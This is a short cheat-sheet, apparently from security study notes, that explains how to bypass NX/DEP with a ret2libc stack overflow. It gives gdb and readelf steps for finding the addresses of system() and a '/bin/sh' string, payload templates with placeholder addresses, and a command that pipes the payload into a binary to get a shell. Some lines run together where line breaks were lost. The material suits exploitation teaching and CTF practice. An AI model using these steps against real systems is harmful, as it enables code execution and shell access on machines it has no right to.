Bypassing NX (DEP)
Last updated
nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vw U | grep -v "_" | cut -d " " -f3gdb -q <binary>
# Get the base address of libc in the process
vmmap libc
# Get the offset of the function in libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
# Work out the address in the process
p base + offset
# Get the value of a function in GDB with no maths
p <function>
p <return>
# Where function could be something like system(), and return exit()
Can now place in code
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return heregdb -q <binary>
find /bin
# This should return strings in memory.
# Hopefully something from LibC will be here and you can use it
# If nothing is found
quit
export SHELL='/bin/sh'
gdb -q <binary>
find /bin
# Should now be here on the stack at the bottom from env variable
Can now place in code
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return here
payload += '\xFF\xFF\xFF\xFF' # Placing address of string argument herepython exploit.py > exploit.txt
(cat ./exploit.txt; cat) | ./binary